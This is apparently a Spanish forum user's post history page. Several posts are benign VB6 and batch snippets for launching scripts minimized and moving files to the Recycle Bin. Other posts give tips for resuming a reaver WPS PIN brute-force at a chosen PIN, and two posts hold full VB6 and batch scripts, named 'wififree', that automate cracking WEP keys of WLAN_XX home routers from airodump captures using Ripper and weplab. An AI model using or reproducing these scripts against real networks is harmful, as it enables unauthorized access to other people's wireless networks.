| |
Mostrar Mensajes
|
|
Páginas: [1]
|
|
1
|
Sistemas Operativos / Windows / Re: Ejecutar un .bat minimizado desde menú contextual
|
en: 13 Noviembre 2015, 14:29 pm
|
Muchas gracias por tu ayuda. Ya me funciona bien. Sólo tenía la duda de si había alguna manera de iniciar minimizado desde el registro. Ha quedado así: Menú contextual de un archivo en el registro: c:\w\prog\trastra\lanza.exe c:\w\prog\trastra\renosrt4.bat %1 lanza.exe en VB6 que sirve para cualquier otro programa: Private Sub Form_Load() Shell Command, vbHide End End Sub Simple y efectivo. Saludos.
|
|
|
|
|
2
|
Sistemas Operativos / Windows / Ejecutar un .bat minimizado desde menú contextual
|
en: 13 Noviembre 2015, 13:40 pm
|
Se trata de un programa bat para mover archivos .mp4. He llegado hasta ejecutar el bat pero no consigo que lo haga minimizado. Siempre me pega el fogonazo negro aunque se ejecuta bien. Para ponerlo en el menú contextual uso estas claves: [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\VLC.mp4\shell\Mover a Pelis\command] c:\windows\system32\cmd.exe /c c:\w\prog\trastra\movepel.bat %1 Ya he probado sin resultado a poner en el registro: c:\windows\system32\cmd.exe /c start /min c:\w\prog\trastra\movepel.bat %1 Tampoco funciona con acceso directos .lnk en el registro y que éstos llamen al bat. Se ejecuta pero no minimizado aunque expresamente lo indique en la propiedades del acceso directo. Sólo me queda probar a hacer un lanzador en VB6 que ejecute el bat o convertir el bat en exe que es casi lo mismo. Con un lanzador funciona bien: Private Sub Form_Load() Shell "c:\w\prog\trastra\renosrt4.bat " & Command, vbHide End End Sub
Pero sigo pensando que debe haber otro método. Es demasiado rebuscado: Registro --> VB6.exe --> .bat ¿Se os ocurre algo más para no usar un lanzador? Muchas gracias y saludos.
|
|
|
|
|
3
|
Programación / Programación Visual Basic / Re: Programa para borrar archivos desde MSDOS y pasen a la papelera
|
en: 13 Noviembre 2015, 13:18 pm
|
1.- Si estás utilizando Visual Basic 6, ¿por que publicas el post en la sección de Scripting?. 2.- ¿Como mover un archivo a la papelera del sistema en VB6?
1.- Lo siento. Fallo mío. Empecé hablando de .bat tras leer mensajes de uso de la papelera desde .bat y terminé programando en VB6. 2.- Redefino el proyecto anterior, gracias a ti, porque me han servido mucho esos enlaces. De hecho, lo acabé ayer y ha quedado de maravilla. El programa en VB6 se llama "delp.exe" y lo meto en C:\windows para que pille PATH. Desde MSDOS se usa igual que "del" sólo que "delp" borra y mete en la papelera automáticamente. Dejo el código que va con la referencia activada de Microsoft Scripting Runtime: Private Type SHFILEOPSTRUCT hwnd As Long wFunc As Long pFrom As String pTo As String fFlags As Integer fAnyOperationsAborted As Long hNameMappings As Long lpszProgressTitle As String End Type Private Const FO_DELETE = &H3 Private Const FOF_ALLOWUNDO = &H40 Private Const FOF_NOCONFIRMATION = &H10 Private Declare Function SHFileOperation Lib "shell32.dll" _ Alias "SHFileOperationA" (lpFileOp As SHFILEOPSTRUCT) As Long Public fso As New FileSystemObject Private Sub Form_Load() Dim cc As String cc = Command$ If cc = "" Or Dir(cc) = "" Then GoTo sale cc = fso.GetAbsolutePathName(cc) If Dir(cc) = "" Then GoTo sale a = MoveToRecycleBin(cc, True) ' Debe tener la ruta completa. True evita confirmación If a Then MsgBox "Error: " & cc sale: End End Sub Public Function MoveToRecycleBin _ (FileSpec As String, Optional NoConfirm As Boolean = False) _ As Long 'FileSpec "C:\myfile.txt" or directory/wildcard combination C:\*.txt Dim WinType_SFO As SHFILEOPSTRUCT Dim lRet As Long Dim lFlags As Long lFlags = FOF_ALLOWUNDO If NoConfirm Then lFlags = lFlags Or FOF_NOCONFIRMATION With WinType_SFO .wFunc = FO_DELETE .pFrom = FileSpec .fFlags = lFlags End With lRet = SHFileOperation(WinType_SFO) MoveToRecycleBin = lRet End Function
|
|
|
|
|
5
|
Programación / Programación Visual Basic / Programa para borrar archivos desde MSDOS y pasen a la papelera
|
en: 11 Noviembre 2015, 11:40 am
|
Me interesa un programa que haga desde MSDOS: programa pepe.txt que mueva el archivo automáticamente a la papelera. En Windows, las papeleras tienen un nombre exclusivo del usuario con muchos números y además puede ser recycled (con D) según la versión de Windows c:\recycler\1-2-3-3433-343434-343434 por tanto hablaré de Windows XP que es el que tengo. Para entrar en esas rutas, usar dir /a /x que muestra todos los archivos incluso ocultos y /x para que muestre nombres cortos y poder escribirlos rápido al hacer "cd". En ese directorio hay un fichero oculto llamados INFO2 que tiene el registro de archivos borrados, otro llamado desktop.ini que tiene las propiedades de la carpeta que indican que es una papelera y una serie de ficheros llamados DXNNN.EXT que son los ficheros almacenados que se borraron. La X es la unidad donde estaba el archivo, NNN es un número correlativo y EXT es la extensión original. He visto que hay gente que cree que en bat puede usarse la papelera para guardar archivos borrados, pero es falso. Aunque se copien archivos dentro de esas carpetas, no se actualiza el archivo INFO2 y luego al consultar la papelera desde el Explorador de Windows, no aparecen. Sería posible vaciar la papelara desde .bat y hasta incluso seudorestaurar archivos dejando la copia en la papelera, pero nunca meterlos sin tocar el INFO2. Opciones para construir el programa de borrado de un archivo desde MSDOS a través de la papelera: 1.- Crear una papelera alternativa en bat donde mover los archivos, que puede ser incluso c:\recycled, pero ya digo de antemano que poner un archivo ahí no actualiza INFO2 y no sale en la papelera realmente. Hay que crear programa llamado "delp.bat" y meterlo en alguna ruta de búsqueda del PATH: @echo off move /y %* \recycler
El solito se encarga de buscar la unidad si es C:, D:... 2.- Usar la papelera de Windows y tras mover el archivo habría que tocar el INFO2. Para ello puede usarse el manual de la estructura del archivo INFO2 y la papelera de Windows: http://www.bandwidthco.com/whitepapers/compforensics/windows/Forensic%20Analysis%20of%20Microsoft%20Windows%20Recycle%20Bin%20Records.pdfSigo con el punto 2.  UNICODE Recycled Name File Variable, NULL terminated Start of Record+0x11C - Crear un programa que lea INFO2 para hacer pruebas. Ya hay uno llamado "rifiuti" pero necesito programarlo desde 0 para que sea la base de los añadidos a INFO2. Const lonreg = &H320 Private Type FILETIME dwLowDateTime As Long dwHighDateTime As Long End Type Private Type SYSTEMTIME wYear As Integer wMonth As Integer wDayOfWeek As Integer wDay As Integer wHour As Integer wMinute As Integer wSecond As Integer wMilliseconds As Integer End Type Private Declare Function FileTimeToSystemTime Lib "kernel32" _ (lpFileTime As FILETIME, lpSystemTime As SYSTEMTIME) As Long Private Declare Function FileTimeToLocalFileTime Lib "kernel32" _ (lpFileTime As FILETIME, lpLocalFileTime As FILETIME) As Long Private Sub Form_Activate() Dim udtFileTime As FILETIME Dim udtFileTime2 As FILETIME Dim udtSystemTime As SYSTEMTIME Dim a As String * lonreg x = 1 Open "d:\recycler\S-1-5-~1\info2" For Random As 1 Len = lonreg ultireg = Fix(LOF(1) / lonreg) aju = lonreg - &H10 otro1: DoEvents If x > ultireg Then GoTo sale Get 1, x, a a = Right(a, aju) ' Ajuste registro por cabecera fichero If Mid(a, 5, 1) = Chr(0) Then GoTo otro3 ' Descarta los ya borrados n1 = Mid(a, 5, InStr(5, a, Chr(0)) - 5) Print "Nombre: "; n1 pp = &H108: GoSub saca Print "Identificación: "; nn q = Asc(Mid(a, &H10D, 1)) + Asc("A") Print "Disco: "; Chr(q) pp = &H110: GoSub saca udtFileTime.dwLowDateTime = nn pp = &H114: GoSub saca udtFileTime.dwHighDateTime = nn FileTimeToLocalFileTime udtFileTime, udtFileTime2 FileTimeToSystemTime udtFileTime2, udtSystemTime q = udtSystemTime.wDay & "/" & udtSystemTime.wMonth & "/" & udtSystemTime.wYear q = q & " " & udtSystemTime.wHour & ":" & udtSystemTime.wMinute Print "Fecha borrado: "; q pp = &H118: GoSub saca Print "Tamaño físico en disco: "; nn Print otro3: x = x + 1 GoTo otro1 saca: n = "" For f = pp + 1 To pp + 4 n2 = Hex(Asc(Mid(a, f, 1))) If Len(n2) = 1 Then n2 = "0" & n2 n = n2 & n Next f nn = Val("&h" & n) If nn < 0 Then nn = nn + 65536 Return sale: Close End Sub
|
|
|
|
|
6
|
Seguridad Informática / Wireless en Linux / Re: REAVER: Vulnerabilidad de WPA por WPS habilitado
|
en: 7 Julio 2013, 09:32 am
|
Por otra parte lo he intentado con el minidwep que viene en el wifislax que habia utilizado para las wep, pero nunca para reaver y me surge la duda de que cuando le quiero cambiar las tools me dice esto Sort pincodes in sequences u like only 10 digit numbers accepted. 0 means 0000-0999. 1 means 1000-1999 y me deja un numero tal que así 7896543210 Que tengo que poner para q me coloque el pin que yo quiera o los 4 primeros digitos del pin que yo quiera
Gracias...Saludos
- minidwep: Sort pincodes: vale para indicar el pin inicial de forma burda. Obligatoriamente hay que poner 10 dígitos numéricos en orden tal que así: Si queremos que empiece en el 0000 ponemos 0123456789 Si queremos que empiece en el 1000 ponemos 1234567890 Si queremos que empiece en el 2000 ponemos 2345678901 Si queremos que empiece en el 3000 ponemos 3456789012 ... Si queremos que empiece en el 9000 ponemos 9012345678. = Continuar sesion de reaver sin haber grabado la sesion pero recordamos los 4 primeros dígitos del PIN por el que iba: - Ponemos reaver. - Esperamos a que pase del PIN inicial. - Damos CRTL+C para pararlo. - Editamos /etc/reaver/*.wpc - Buscar el PIN que queremos en el listado. - Fijarse en el número de línea. - Restarle 4 al número de línea (restar 8 para la línea 2 en caso de querer también especificar el resto del PIN). - Ponerlo en la línea 1. - Salvar el *.wpc - Poner reaver de nuevo y preguntará si queremos continuar sesión.
|
|
|
|
|
7
|
Seguridad Informática / Wireless en Linux / Re: reaver se para
|
en: 3 Julio 2013, 12:37 pm
|
|
A mi me pasa igual. A la hora sale el mismo mensaje.
/* Closes libpcap during sleep period to avoid stale packet data in pcap buffer */ cprintf(CRITICAL, "[-] Failed to re-initialize interface ...
Según ese código puede ser de la administración de energía que apaga la tarjeta para ahorrar energía. Mira en el BIOS o en las opciones de la tarjeta.
Creo que se me ha arreglado. En la distro de tu foto que es la mía también, entra en Configuración, Administrador de energía y desactiva todo y especialmente la supervisión de energía.
|
|
|
|
|
8
|
Seguridad Informática / Wireless en Windows / Automatizar desde captura-01.txt hasta la contraseña
|
en: 6 Abril 2008, 09:17 am
|
|
Para forzar el ESSID desde WLAN_00 a WLAN_FF por si lo han cambiado uso este otro:
Archivo wf.bat: Igual que el anterior.
Archivo chorizo: Igual que el anterior.
Archivo wififree2.bas: Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Dim cadena$, c2$, c3$, c4$, c5$, c6$, c7$, c8$, c9$, c10$, c11$, c12$, c13$, c14$ Private Sub Form_Activate() q = "salida.txt" If Dir(q) = q Then Kill q Label1.Caption = "Prueba WLAN_00 a WLAN_FF por si le han cambiado el nombre de red." + Chr(13) Label1.Caption = Label1.Caption + "Entrada: captura-01.txt y captura-01.cap. Salida: salida.txt" + Chr(13) Label1.Caption = Label1.Caption + "Al terminar en salida.txt se busca: found" + Chr(13) Open "captura-01.txt" For Input As #1 otro: DoEvents Input #1, cadena If cadena = "Station MAC" Then Close #1: Label2.Caption = "Terminado captura-01.txt": GoTo sale If Len(cadena) <> 17 Or Mid$(cadena, 3, 1) <> ":" Then GoTo otro Input #1, c2$, c3$, c4$, c5$, c6$, c7$, c8$, c9$, c10$, c11$, c12$, c13$, c14$ If c11$ = "0" Then GoTo otro ' Descarta MACs sin Data ó IV If c7$ <> "WEP" Then GoTo otro ' Descarta MACs OPEN ó WPA f = 0 otro3: q = Hex(f): If Len(q) = 1 Then q = "0" & q q = " WLAN_" & q Label2.Caption = cadena & " " & c14$ & q Shell "wf.bat " & cadena & q & ">>salida.txt", 1 For q = 1 To 100: DoEvents: Next q otro2: DoEvents If FindWindow(vbNullString, "c:\windows\system32\cmd.exe") <> 0 Then GoTo otro2 f = f + 1 If f <= &HFF Then GoTo otro3 GoTo otro sale: End Sub
|
|
|
|
|
9
|
Seguridad Informática / Wireless en Windows / Automatizar desde captura-01.txt hasta la contraseña
|
en: 6 Abril 2008, 08:53 am
|
|
Como es muy pesado ir probando con el Ripper y weplab todas las MACs y ESSID una a una copiando y pegando, he hecho un programa en Visual Basic con 2 label y 2 ficheros externos que deben correrse en la carpeta de Ripper y weplab:
Archivo wf.bat: @echo off echo . echo -------------------------------------------------------------------------------- %1 %2 Ripper %1 %2 captura-01.cap type chorizo | weplab -y --wordfile claves.txt --key 128 --bssid %1 captura-01.cap
Archivo chorizo: Sin nada dentro. Archivo de longitud 0. Es para hacerle type hacia weplab para que éste no se pare al final esperando que se pulse enter.
Archivo wififree.bas: Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Dim cadena$, c2$, c3$, c4$, c5$, c6$, c7$, c8$, c9$, c10$, c11$, c12$, c13$, c14$ Private Sub Form_Activate() q = "salida.txt" If Dir(q) = q Then Kill q Label1.Caption = "Prueba las WLAN_XX sobre las WEPs" + Chr(13) Label1.Caption = Label1.Caption + "Entrada: captura-01.txt y captura-01.cap. Salida: salida.txt" + Chr(13) Label1.Caption = Label1.Caption + "Al terminar en salida.txt se busca: found" + Chr(13) Open "captura-01.txt" For Input As #1 otro: DoEvents Input #1, cadena If cadena = "Station MAC" Then Close #1: Label2.Caption = "Terminado captura-01.txt": GoTo sale If Len(cadena) <> 17 Or Mid$(cadena, 3, 1) <> ":" Then GoTo otro Input #1, c2$, c3$, c4$, c5$, c6$, c7$, c8$, c9$, c10$, c11$, c12$, c13$, c14$ If c11$ = "0" Then GoTo otro ' Descarta MACs sin Data ó IV If c7$ <> "WEP" Then GoTo otro ' Descarta MACs OPEN ó WPA If Left(c14$, 5) <> "WLAN_" Or Len(c14$) <> 7 Then GoTo otro ' Descarta no WLAN_XX Label2.Caption = cadena & " " & c14$ Shell "wf.bat " & cadena & " " & c14$ & ">>salida.txt", 1 For q = 1 To 100: DoEvents: Next q otro2: DoEvents If FindWindow(vbNullString, "c:\windows\system32\cmd.exe") <> 0 Then GoTo otro2 GoTo otro sale: End Sub
|
|
|
|
|
|
| |
|